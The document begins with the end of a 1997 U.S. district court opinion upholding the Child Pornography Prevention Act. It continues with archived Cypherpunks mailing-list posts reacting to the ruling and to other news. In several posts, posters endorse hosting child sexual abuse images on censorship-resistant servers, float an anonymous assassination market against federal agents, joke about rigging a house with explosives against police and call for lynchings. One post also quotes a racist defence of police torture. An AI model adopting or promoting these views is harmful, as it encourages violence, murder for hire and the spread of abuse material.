does not, and is not intended to, apply to a depiction
produced using adults engaging in sexually explicit
conduct, even where a depicted individual may appear
to be a minor." Sen. Rep. At 21.

The affirmative defense laid out in 18 U.S.C. 2252A(c)
limits even further the scope of the CPPA by removing
from the range of criminal behavior the exact type of
activity in which plaintiffs claim to engage.
Plaintiffs contend that their works do not involve
actual children, and that their works are not marketed
or advertised as works featuring sexually explicit
conduct by children. Their behavior, then, falls
squarely within the category specifically set out by
Congress as beyond the scope of the CPPA. The Court
finds that the incidental harms laid out by the
plaintiffs as support for their assertion of standing
in this action do not amount to the CPPA's regulating
"substantially more speech than necessary to further"
the goal of preventing the dangers of child
molestation and pedophilia.(4) See Pls.' Opp. to
Defs.' Mot. for Summ. Judg. at 7-8. Although the
effects of a content-neutral speech regulation may be
substantial, if they are incidental and largely
unavoidable, they will pass constitutional muster. Am.
Library Ass'n. v. Reno, 33 F.3d at 87-8. Also, "[t]he
mere assertion of some possible self-censorship
resulting from a statute is not enough to render an
antiobscenity law unconstitutional." Fort Wayne Books,
Inc. v. Indiana 489 U.S. 46, 60 (1989). The contested
provisions of the CPPA survive the intermediate
scrutiny set forth by the Supreme Court for
content-neutral regulations.

The instant case is quite similar to that which the
Supreme Court confronted in New York v. Ferber, 458
U.S. 747 (1982). In Ferber, the Court upheld a New
York statute that prohibited person from knowingly
promoting a sexual performance by a child under the
age of 16 by distributing material which depicts such
a performance. The Court concluded that the statute
did not violate the First Amendment. According to the
Court, the unprotected nature of the works involved
permitted the state to prohibit the particular
category of works from distribution, especially given
the compelling state interest in protecting children
from the harms of child pornography. 458 U.S. at 765.

The final inquiry this Court must make is whether the
regulations leave open alternative channels for
communication of the information at issue. Defendants
contend that "plaintiffs are free to communicate any
substantive message they desire, through any medium
they desire, as long as they are not depicting actual
or computer-generated children engaged in sexually
explicit conduct." Defs.' Mem. In Supp. of Mot. for
Summ. Judg. at 20. The Court finds this argument
persuasive. Because plaintiffs allege that their
materials are not produced using minor children, and
that they do not market their materials so as to
suggest that they are child pornography or to exploit
the sexual qualities of the work as child pornography,
plaintiffs should have no trouble conforming their
activities to fit within the confines of the text of
the CPPA or to escape the reach of the law altogether.

C. Overbreadth and Vagueness

Plaintiffs contend that the CPPA is unconstitutionally
overbroad and vague. First, regulations that prohibit
constitutionally protected speech as well as activity
that can legitimately be prohibited are considered to
be overbroad. Thornhill v. Alabama, 310 U.S. 88, 97
(1940). Plaintiffs base their overbreadth argument on
the assertion that the CPPA "impermissibly suppresses
material that is protected under the First Amendment"
by defining child pornography as including visual
depictions of adults that appear to be minors. Pls.'
Mem. In Supp. of Mot. for Summ. Judg. at 12. In doing
so, plaintiffs argue, the CPPA "bans a wide array of
sexually-explicit, non-obscene material that has
serious literary, artistic, political, and scientific
value." Pls.' Mem. in Supp. of Mot. for Summ. Judg. at
13. Finally, plaintiffs cite the Supreme Court's
recent ruling in Reno v. ACLU that the governmental
interest in protecting children "does not justify an
unnecessarily broad suppression of speech addressed to
adults." 1997 U.S. LEXIS 4037 at *54 (striking as
unconstitutional two provisions of the Communications
Decency Act of 1996 that prevent the transmission of
"indecent" and "patently offensive" materials over the
Internet).

The Court finds that the CPPA is not overbroad. It
specifies that only materials that do not use adults
and that appear to be child pornography, even if they
are digitally produced, are prohibited. By plaintiffs'
own admission, plaintiffs' products do not fall into
these categories and are also exempt under the CPPA's
affirmative defense provisions. It is highly unlikely
that the types of valuable works plaintiffs fear will
be outlawed under the CPPA -- depictions used by the
medical profession to treat adolescent disorders,
adaptations of sexual works like "Romeo and Juliet,"
and artistically-valued drawings and sketches of young
adults engaging in passionate behavior -- will be
treated as "criminal contraband." As long as a work
does not depict children, or what appears to be
children, engaged in sexually explicit conduct as
defined by the statute, and the work is not marketed
as child pornography or in such a way that exploits
its sexual nature as child pornography, then there is
no likelihood that the work will be prohibited by the
CPPA. The CPPA is not overbroad because it prohibits
only those works necessary to prevent the secondary
pernicious effects of child pornography from reaching
minors.

Plaintiffs contend that the CPPA is also
unconstitutionally vague because it does not give a
person of ordinary intelligence a reasonable
opportunity to know what is prohibited so that he may
act accordingly. Grayned v. City of Rockford 408 U.S.
104, 108 (1972). However, the CPPA does exactly what
the Supreme Court has required of child pornography
legislation as set out in Ferber: it must (1)
adequately define the prohibited conduct; (2) be
limited to visual depictions of children below a
specific age; and (3) suitably limit and describe the
category of forbidden "sexual conduct." 458 U.S. at
764. The CPPA clearly and specifically defines the
prohibited conduct as the depiction of children
engaged in sexually explicit conduct. It is limited to
visual depictions of minors, but simply redefines the
term "depiction" to include images of children that
were produced using computers or other artificial
means. Finally, it suitably limits and describes the
category of forbidden conduct. As long as the person
portrayed in the work is an adult, and the work is not
marketed or advertised as child pornography and does
not convey the impression that it is child
pornography, then the CPPA's affirmative defense
applies and removes the work from the scope of its
provisions. The Court finds that the CPPA is not
unconstitutionally vague, as it gives sufficient
guidance to a person of reasonable intelligence as to
what it prohibits.(5)

D. Prior Restraint

Plaintiffs contend that the CPPA imposes a prior
restraint on speech by enacting a complete ban on
material that contains sexually-explicit depictions of
adults who appear to be minors and by chilling the
expression of "artists, photographers, film makers,
publishers, and merchants" by preventing them from
disseminating such depictions. Plaintiffs also contend
that the CPPA places unbridled discretion in the hands
of government officials and deals an unnecessarily
severe punishment for an incorrect determination of
whether or not an adult appears to be a minor. The
Court agrees with defendants that the CPPA neither
completely bans depictions of adults who appear to be
minors nor punishes producers or distributors who
create works in which adults appear who might be
mistaken as minors. Indeed, the affirmative defense
laid out in 18 U.S.C. 2252A(c) clearly permits the use
of adults, even if they look like minors, as long as
the works in which they appear are not marketed as
child pornography. In addition "[n]o government
official is vested with authority to permit or deny
plaintiffs the right to produce these works, and thus
the [CPPA] imposes no unconstitutional prior restraint
on speech." Defs.' Opp. to Pls.' Mot. for Summ. Judg.
at 17-18. The CPPA represents no more of a prior
restraint on speech than the New York statute at issue
in Ferber, and the CPPA comes within the rationale of
the Supreme Court's holding in that case. Because the
CPPA does not require advance approval for production
or distribution of adult pornography that does not use
minors, and does not effect a complete ban on
constitutionally protected material, it does not
constitute an improper prior restraint on speech.

IV. CONCLUSION

Therefore, this court finds that the CPPA meets
constitutional standards and is therefore
constitutional as written. For the foregoing reasons,
plaintiffs' motion for summary judgment is hereby
DENIED. Defendant's motion for judgment on the
pleadings is GRANTED.

IT IS SO ORDERED.

Dated: August 12, 1997.

/s/ Samuel Conti United States District Judge      


---


1 See Am. Library Ass'n v. Barr 956 F.2d 1178, 1181-85
(D.C. Cir. 1992) for a discussion of the history of
national anti-child pornography legislation.

2 Pls.' Opp. to Defs.' Mot. for Summ. Judg. at 1.

3 Defendants also contend that plaintiffs lack
standing because, in their complaint, plaintiffs
allege that they do not produce the type of
"hard-core" sexual images that would be subject to
regulation by the CPPA. As a result, defendants argue,
plaintiffs cannot demonstrate a real and immediate
threat of injury and therefore cannot bring this
claim. See Barr, 956 F.2d at 1187. The Court rejects
this argument. The parameters of pornography are
difficult to define, and dismissing plaintiffs' claims
for lack of standing is not appropriate in this case,
given the variety of the plaintiffs' products.

4 These incidental harms include the depiction of
images created within the imagination of the artist.
If the images depicted are of children, albeit
imaginary ones, and not of actual adults or imaginary
people who unequivocally appear to be adults, then the
evils associated with child pornography cannot be
avoided.

5 For examples of other cases that have upheld
similarly worded child pornography statutes against
vagueness challenges, see, e.g., U.S. v. Smith, 795
F.2d 841 (9th Cir. 1986), cert. denied, 481 U.S. 1032
(1987); U.S. v. Lamb, 945 F. Supp. 441 (N.D.N.Y.
1996).    


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 15 Aug 1997 21:01:58 +0800
To: cypherpunks@toad.com
Subject: Re: Cartel Leaders Set Snipers To Work In Border War
Message-ID: <199708151234.HAA17799@dfw-ix14.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




Tim May wrote:
> Glad I'm not a DEA or INS agent.

> > Cartel leaders set snipers to work in border 'war'
> > By John Hiscock Electronic Telegraph, London

> > AMERICAN Border Patrol agents have become targets of snipers working
> > for drug smugglers trying to take control of the border with Mexico. A
> > five-mile strip of frontier near San Diego in California has become so
> > dangerous that a specially-trained squad of border patrol sentries
> > armed with assault rifles has been drafted in to combat the snipers,
> > who have fired at agents seven times in the past two months.

  Replacing the Marines who murdered an American teenager. Funny that
the drug cartels never felt a need to assassinate border patrol agents
until the American public found it unacceptable for U.S. troops to be
murdering American citizens.

> > The agents believe that Mexican drug cartel leaders have issued
> > instructions to kill any law enforcement officers impeding drug
> > smuggling operations. Their fears have been heightened by a bulletin
> > from the Immigration and Naturalisation Service that said two drug
> > cartel leaders in the Mexican border city of Tijuana had "reportedly
> > contracted with local gangs on both sides of the border to kill
> > federal law enforcement personnel", preferably on American soil. In
> > addition, officers recently received reports that cartel henchmen have
> > put a price on their heads by offering to pay &pound;7,000 for the
> > home address of any United States federal agent.

  Have they "received reports" as to the logic behind these actions by
the cartel "henchmen?"
  Do the cartel henchmen think that the assassinated U.S. agents will
not  be replaced? Do they think that assassinating U.S. agents will
lead to lessened security along the border? Do they expect the U.S.
governement to put up "Welcome Drug Smugglers...We Surrender" posters
all along the border?

  Right. I got a parking ticket, so I'm going to put out a contract
on the meter-maid. That'll solve all my parking ticket problems. Then
the police will leave me alone.
  Why didn't I think of this before?

> > Dianne Feinstein, a Californian senator, says that border patrol
> > agents, whose job until recently was to arrest mainly frightened and
> > unarmed Mexicans trying to cross the frontier at night, are now in the
> > front line of a vicious drug war. "This is a border on alert, a border
> > where anything could happen," she said. "These cartels are moving
> > drugs across the border and are operating with impunity and that adds
> > an increased risk to the lives of border patrol agents. This is a
> > different border than it was two years ago."

  The cartels only began moving drugs across the border in the last two
years? Border Patrol agents have never been shot at before?
  Are the drug cartel snipers worse shots than the U.S. marines? How
many
American teenage goat herders have the drug cartels murdered so far?

> > Since the
> > introduction of Operation Gatekeeper, President Clinton's 1994
> > anti-illegal alien initiative that poured more money and agents into
> > the San Diego area, the drug smugglers have found themselves
> > increasingly caught up in the patrols' swoops on illegal
> > border-crossers.
> >
> > "We've made it increasingly difficult for drug traffic," said John
> > Williams, the chief of San Diego's 2,000-strong border patrol sector.

  This explains why America is practically drug-free, with only twice
as many grade school children using heroin as at this time last year.
  If we can keep up the pressure along the border, perhaps one day
_all_ of our children will be junkies.
  Good reasoning...

> > "We're making it tough on crime and that certainly has some bearing on
> > their reaction. The escalation of violence is of grave concern to me
> > and my agents."
> >
> > Members of the elite special protection unit carry M-16 assault
> > rifles, with a range of more than a mile, while all agents are now
> > being issued with semi-automatic pistols and shotguns.

  And this is going to protect them from snipers and hired assassins
who the drug cartels are sending to their homes to murder them?
  How many illegal immigrants and American border citizens are going 
to be killed in "mistaken self-defence" before they consider it is
now necessary to arm themselves for protection?
  How far will the Border Patrol need to feed the "escalation of
violence" before the President feels comfortable to once again
begin unconstitutionally using the Armed Forces to enforce laws
internally in the U.S.?

  Why do these idiots go to such great lengths to spread FUD as a
smokescreen to help whitewash the murder of American citizens by
U.S. Armed Forces being unconstitutionally deployed internally 
within the U.S.?
  The Border Patrol has always had the authority to use armed agents
to defend our borders, and they have always had special units to
deal with areas which have become more violent than usual.
  The latest "announcements" have nothing to do with "news."
They have to do with smokescreen-FUD.

TruthMonger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 15 Aug 1997 01:21:56 +0800
To: tcmay@got.net
Subject: lynch child pornographers not bits! (was Re: Child Porn and Eternity)
In-Reply-To: <v03102803b01817a18ed8@[207.167.93.63]>
Message-ID: <199708141639.RAA03883@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> At 8:08 AM -0700 8/13/97, Declan McCullagh wrote:
> 
> >        But Conti skirted the more controversial question: What if
> >   someone did use Photoshop to synthesize images of half-naked children?
> 
> Let me assure you that such images are available. I might be tempted to say
> I know exactly where to find them, and may have even taken a look at them
> ("as part of my campaign to determine the extend of child porn" :-} ), but
> in this climate that might get me a couple of SWAT vans roaring up my
> hillside...and then I'd have to make some quick decisions about shooting or
> going peacably.

Yup.  Btw have you thought about booby trapping your place with enough
semtex to remove half the hill-top?  Somewhat like Raven in Snow Crash
-- detonator for fusion device in his 'bikes side car was linked to
his brain waves ceasing unexpectedly.  Police were running around
trying to protect him.  The age of personal nukes, heh.  I guess the
danger is that it detonates by accident.

> Such images (including non-morphed images of real nude children, or even of
> children engaging in sex, and so on) are, by the way, good candidates for
> Eternity servers. If the Eternity operators freak out and ban such images,
> so much for "Eternity." Perhaps they could then be named "Ephemeral"
> servers.

I suspect child porn would be kind of the ultimate test :-)

Let's hope we can defer that argument for a few months until there are
more servers.  It'll be interesting to see how well the argument that
it's just a USENET gateway holds out.  Also interesting to see how
well operators can stick to the principle of unconditional free speech
when faced with some "speech" which makes them puke.

The NSA hand book, mykotronix dumpster goodies or more secret
materials probably aren't that sensitive in that once they're leaked
there's not so much point attempting to control their distribution.
Anyone who matters will already have a copy, and making a fuss about
re-distribution probably increases the interest, and number of people
who will read the material.

If eternity lives up to it's name child porn could be published.

Personally my feeling about child molestors, and real life child
pornographers is lynch them.

Child pornographers and pedophiles operate in the real world, and they
get caught.  Problem is they let them go again despite 80+% re-offense
rate.  Hence cry for "lynch them".  There was some sicko in this town
who molested a 7 year old girl over a 2 year time span.  Turned
himself in, and got 1 year jail time.  He's out an about cocky as
ever, not even repentant.  Back in the days of the wild-west such
types wouldn't live long.  "He needed killing" used to be I understand
a perfectly satisfactory legal defense.

btw "Child pornographer" is a difficult term to define towards the
boundary, eg Tracy Lords was underage at the begining of here career,
also the age of consent is much lower in the liberal Scandinavian
countries.  Last time we had this argument James Donald posted to the
list a uuencoded gif of some chick, I guess the claim was she was just
underage by US standards.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 15 Aug 1997 10:42:30 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: "Morphed" child porn case ruling text (FSC v. Reno)
In-Reply-To: <v03007805b019257a3971@[168.161.105.191]>
Message-ID: <v03102804b0195dd64ec5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I fail to see the First Amendment basis differences between rulings
supporting the ban on child pornography and rulings upholding the
dessemination of bomb making.

In the case of child porn the laws maintain that the mere presence of such
materials can serve as a catalyst to pervs who might use the materials to
self-stimulate into a frezy leading to a rape or entice young'ins to
voluntarily engage in proscribed activities.  Healthy functioning adults,
however, should be able to safely view such materials, and if they have an
academic (though not necessarily affilaited with an institution for higher
education) interest use them to understand the motivations and psychology
of the pervs.

In the case of bomb or weapons of mass destruction information,
pyrotechnics or terrorists might use them to build devices to kill or
injure many citizens (e.g., McVeigh), yet these materials are
consititutionally protected.

This is, to my mind, an obvious double standard with no rational
explanation other than interpretation of the consitution to match
prevailing public sentement. I suggest taht jurists who cannot rationally
an dispassionately rule on such matters be immediately removed from office.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Fri, 15 Aug 1997 08:50:35 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Not enough phone competition? Answer: regulate more!
In-Reply-To: <Pine.GSO.3.95.970814133230.27569A-100000@well.com>
Message-ID: <Pine.BSF.3.91.970814190658.25387A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain






One of the main issues is the claim by INX carriers that the RBOCs are 
uncooperative in providing customer data in electronic format, as required.

-r.w.

On Thu, 14 Aug 1997, Declan McCullagh wrote:

> <B>By JEANNINE AVERSA<P>
> <B>Associated Press Writer<P>
> 	WASHINGTON (AP) - Just 18 months after Congress deregulated the
> communications industry, the nation's top telephone regulator asked
> lawmakers Thursday for more tools to bring Americans local phone
> competition.
> 	"So far, scarcely any local competition has been delivered to
> residential or business consumers," Federal Communications Commission
> Chairman Reed Hundt said in a speech to the American Enterprise Institute.
> 	"We have a major challenge to introduce competition in the local
> telephone markets and that challenge is not yet being met," he said.
> 	Hundt asked Congress to write into law provisions:
> 	-Giving the FCC authority to set national pricing rules for those
> seeking access to local phone networks.
> 	-Requiring courts to defer to reasonable FCC judgments in disputes
> over the telecommunications law.
> 	-Consolidating appeals over the telecommunications law and FCC
> rules before a single unspecified court.
> 	-Creating a national policy to enforce the telecommunications law,
> giving the FCC power to compensate injured parties. The FCC now can order
> violators to stop breaking the law and fine offenders.
> 	Congressional hearings into the slow pace of local phone
> competition are slated for this fall.
> 	Sen. John McCain, R-Ariz., chairman of the Commerce Committee that
> oversees telecommunications policy, said when asked about the proposals,
> "I do not think that giving the FCC more authority to regulate is the
> answer."
> [...]
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 15 Aug 1997 01:37:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Sign up on YoungSluts click thru Program
In-Reply-To: <199708140251.WAA12029@columbia.ctlnet.com>
Message-ID: <199708141729.TAA28066@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> wrote:

> would you guys quit giving cypherpunks@toad.com as your email address for
> your porno runs.  The extra spam is annoying. :)  use nobody@nowhere.mil
> if you want... :)


I like to use alt.anonymous.messages@(mail2news.gateway)  Seems appropriate
for the newsgroup. :)

I've found a few sites that won't accept such a long email address tho.
I remember awhile ago someone was running a message-pool mailing list,
is it still around?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 15 Aug 1997 09:20:50 +0800
To: amp@pobox.com
Subject: Re: CIA/NSA Index Redux
Message-ID: <1.5.4.32.19970815004937.00690fc0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Excuse the crummy links, they worked when we were
hooked to the source but, it seems, not after disconnect. We
have not downloaded all the linked files, so here's the
routine to get them:

Log onto: 

   http://www.access.gpo.gov/su_docs/aces/aaces002.html

Highlight: "Privacy Act Issuances 1995 Compilation"

Enter: "cia" (with quotes) in the search slot, jack number of records up to
"100" and submit

83 records will be listed, and the links will work, just now confirmed it.

Repeat for "nsa" or any other federal agency.

Search also for "crypto*" (note * ) to see the cryptologic citations, 
which brings up a number of cites from CIA, NSA and others.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 15 Aug 1997 13:55:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Morphed" child porn case ruling text (FSC v. Reno)
In-Reply-To: <v03102804b0195dd64ec5@[10.0.2.15]>
Message-ID: <19970815054023.27975.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Steve Writes:

> I suggest taht jurists who cannot rationally
> an dispassionately rule on such matters be immediately removed from office.

It strikes me that when material is ruled to be too dangerous to be
allowed in the community, it must be based on how the material affects the
typical well-adjusted citizen.  The so-called "reasonable person"  test. 
We certainly can't go around banning everything that might send some kook
off on a tangent or crusade, and goodness knows, were such a standard to
be adopted, the Bible would be the first thing on the bonfire.

So it would seem that the court is saying one of two things.  Either that
the average American citizen has so much psychological baggage concerning
sex and children, that he or she experiences uncontrolled arousal upon
being exposed to it, and leaps off to find children to show the material
to and perform sex acts on.  Or that American citizens collectively have
so much psychological baggage concerning sex and children, that they
through their elective representatives have chosen to make sexual
depictions of children the sole exception to Constitutional guarantees of
freedom of expression. 

Either way, it is hardly a stirring testimony to the mental health of the
nation. 

While I suspect the typical citizen is unlikely to have a particularly
strong reaction one way or the other to sexual depictions of children, as
long as it is not a photographic record of an actual child being treated
abusively, there is a obvious subset of frothy pointy-headed individuals
who should be shielded from such material at all costs, or they may be
completely unable to control their behavior.  

They are of course the self-appointed "child protectors", none of whom
could care less about what rights children really need or want, as long as
no one appears naked. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 15 Aug 1997 14:13:02 +0800
To: cypherpunks@toad.com
Subject: Re: Microsoft and Java
Message-ID: <3.0.32.19691231160000.006e5ad0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:15 AM 8/15/97 +0200, you wrote:
>
>::Boots
>
>------------
>
>
>	  http://www.computerworld.com/news/970730javah.html
>
>The Paul Maritz interview that article links to has disappeared from
>Computerworld's site, but a copy is appended.
>
>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>
>     CW: Is there some reason you wouldn't want to ship them? Is there
>     something inferior about them?
>
>     Maritz: No. We don't want to put further bloat on top of the system.


This obviously has to make everone on the planet bust a gut howling with
laughter!


>     We think that basically there isn't a lot of end-user value in them.
>     And Sun's trying to establish them as basically their platform. It's
>     a competing operating system.
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 15 Aug 1997 14:13:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Toilet plungers and sodomy: Why we should trust police blindly
In-Reply-To: <031FBe4w165w@bwalk.dm.com>
Message-ID: <19970815055619.28758.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Dr. Vebis writes:

> As for the regrettable incident with the plunger: while it sounds bad out of
> context, it can be viewed as just desserts for the indignities the while people
> in New York City have undergone under the Dinkins administration.  If the
> alleged victim (who already gave 3 highly contradictory stories of the events)
> thinks that this city is so racist, why didn't he stay in his native Haiti?

WHAT!? 

The "alleged victim" describes officers beating him and then shoving a
toilet plunger up his rectum and down his throat while yelling "Take that,
Nigger!"  He has a broken jaw, a punctured rectum, and a torn bladder, a
colostomy, and will require multiple surgeries to repair all the damage. 

The police officers initially covered up for eachother, and the guilty cop
was only turned over to internal affairs when the cops realized that they
had a situation so serious that they couldn't lie their way out of it. 

It will be interesting to see whether he is charged with anything serious,
what sort of defense he concocts, whether his fellow officers testify
against him. 

In other news, a Texas jury refused to indict a marine who shot an 18 year
old goatherder tending his flock near the Mexican border.  After the
shooting, the marines claimed that the man had fired first, but this
excuse seems to be crumbling as the investigation continues. 

An interesting newsday, as Tim McVeigh is sentenced to death, and quotes
from Justice Brandeis about the government teaching its citizen-units by
example. 

Ruby Ridge, Waco, Jackbooted Thugs, Atrocities under Color of Authority,
Unbridled Arrogance, and Unmitigated Gall.

Surely we should learn well from these examples as our government tells us
how it wishes us to treat it. 

Up against the wall with the lot of them. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 15 Aug 1997 11:30:55 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
Message-ID: <z7g7SRsOUAP79nzS+ifAUA==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 04:13 PM 8/14/97 -0400, Dr. Dimitri Vulis wrote:
>If you don't like remailers, FUCK YOU.

Somebody please put that on a bumper sticker!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Fri, 15 Aug 1997 15:32:37 +0800
To: cypherpunks@cyberpass.net
Subject: Cartel Leaders Set Snipers To Work In Border War
Message-ID: <199708150714.AAA08918@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain




According to this article, the home addresses of government agents are
being solicited by Mexican drug dealers, for disposal of agents
interfering in their business.

Between anonymous remailers and payment systems, a real Assassination
Politics market could be set up. Don't even need untraceable e-cash,
though this would be better.

Glad I'm not a DEA or INS agent.


--Tim May



> Date: Thu, 14 Aug 1997 22:42:08 -0700 (PDT)
> Message-ID: <199708150542.WAA25283@sirius.infonex.com>
> From: Mix <mixmaster@remail.obscura.com>
> Comments: This message did not originate from the address above.  It was
remailed by an anonymous remailing service.  If you have questions or
complaints, please direct them to <complaints@remail.obscura.com>
> Subject: Cartel Leaders Set Snipers To Work In Border War
> Newsgroups:
talk.politics.guns,misc.legal,misc.survivalism,alt.news-media,alt.politics.usa.misc,alt.politics.media,alt.politics.clinton
> Mail-To-News-Contact: postmaster@nym.alias.net
> Organization: mail2news@nym.alias.net
> Lines: 58
...
> Cartel leaders set snipers to work in border 'war' 
> By John Hiscock Electronic Telegraph, London
> 
> August 11, 1997 
> 
> AMERICAN Border Patrol agents have become targets of snipers working
> for drug smugglers trying to take control of the border with Mexico. A
> five-mile strip of frontier near San Diego in California has become so
> dangerous that a specially-trained squad of border patrol sentries
> armed with assault rifles has been drafted in to combat the snipers,
> who have fired at agents seven times in the past two months. 
> 
> The agents believe that Mexican drug cartel leaders have issued
> instructions to kill any law enforcement officers impeding drug
> smuggling operations. Their fears have been heightened by a bulletin
> from the Immigration and Naturalisation Service that said two drug
> cartel leaders in the Mexican border city of Tijuana had "reportedly
> contracted with local gangs on both sides of the border to kill
> federal law enforcement personnel", preferably on American soil. In
> addition, officers recently received reports that cartel henchmen have
> put a price on their heads by offering to pay &pound;7,000 for the
> home address of any United States federal agent. 
> 
> Dianne Feinstein, a Californian senator, says that border patrol
> agents, whose job until recently was to arrest mainly frightened and
> unarmed Mexicans trying to cross the frontier at night, are now in the
> front line of a vicious drug war. "This is a border on alert, a border
> where anything could happen," she said. "These cartels are moving
> drugs across the border and are operating with impunity and that adds
> an increased risk to the lives of border patrol agents. This is a
> different border than it was two years ago." 
> 
> In addition to being the most popular spot for illegal aliens
> attempting to cross, the border around San Diego is now the main
> gateway for cocaine and heroin bound for the US. Since the
> introduction of Operation Gatekeeper, President Clinton's 1994
> anti-illegal alien initiative that poured more money and agents into
> the San Diego area, the drug smugglers have found themselves
> increasingly caught up in the patrols' swoops on illegal
> border-crossers. 
> 
> "We've made it increasingly difficult for drug traffic," said John
> Williams, the chief of San Diego's 2,000-strong border patrol sector.
> "We're making it tough on crime and that certainly has some bearing on
> their reaction. The escalation of violence is of grave concern to me
> and my agents." 
> 
> Members of the elite special protection unit carry M-16 assault
> rifles, with a range of more than a mile, while all agents are now
> being issued with semi-automatic pistols and shotguns.

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 15 Aug 1997 07:29:50 +0800
To: cypherpunks@toad.com
Subject: Re: Hypothetical situation for networks
In-Reply-To: <Pine.SUN.3.96.970814113451.21579G-100000@beast.brainlink.com>
Message-ID: <199708142312.BAA09035@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 14 Aug 1997, Ray Arachelian wrote:

> > OS doesn't really matter, as it is a hypothetical system, but we'll assume
> > either some form of unix/linux, or perhaps winNT or novell NetWare.
> 
> Can NFS under solaris or linux be tunneled through SSH?  That would seem
> feasable (that is if you can get SSH to tunnel a UDP...)  

I think SSH will not tunnel UDP, and TCP NFS for Linux and Solaris (?) is
not reliable.  I would lean towards SSH in rcp-style mode: for a
continent-wide link you will probably find the performance of batch-style
transfers more enjoyable than that of a remote file system system.  SSH
also very neatly lets you run remote commands and so on.  (Enough,
already...) 

> If not, you
> could use microsoft's PPTP, but I wouldn't trust its cyphers.

Don't touch it.

::Boots






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 15 Aug 1997 07:29:51 +0800
To: cypherpunks@toad.com
Subject: Microsoft and Java
Message-ID: <199708142315.BAA09320@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



::Boots

------------


	  http://www.computerworld.com/news/970730javah.html

The Paul Maritz interview that article links to has disappeared from
Computerworld's site, but a copy is appended.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Formerly at http://www.computerworld.com/news/news_articles/970728moritz.html

     Microsoft Corp. last week indicated that it would essentially block
     efforts to make Java a cross-platform development language, stating
     that it wouldn't ship Sun Microsystems, Inc.'s Java Foundation Class
     Libraries (JFC). Computerworld senior editor Carol Sliwa caught up
     with Paul Maritz, Microsoft group vice president, at a company
     reception in Seattle and asked him to explain the software giant's
     Java stance.
     
     CW: There's nothing in the license that requires you to ship those
     JFCs with Internet Explorer?

     Maritz: Correct.

     CW: Is that a contentious issue?

     Maritz: No. The only reason I brought it up is just that some people
     like to play hard and fast with the truth, and they like to say,
     'Look, these JFC class libraries are going to be a standard because
     everybody has to ship them. Even Microsoft has to ship them.' And
     that's not the case. We were very careful when we did the deal to
     say that we could have the option of shipping them, but we do not
     have to include them in Windows.

     CW: Is there some reason you wouldn't want to ship them? Is there
     something inferior about them?

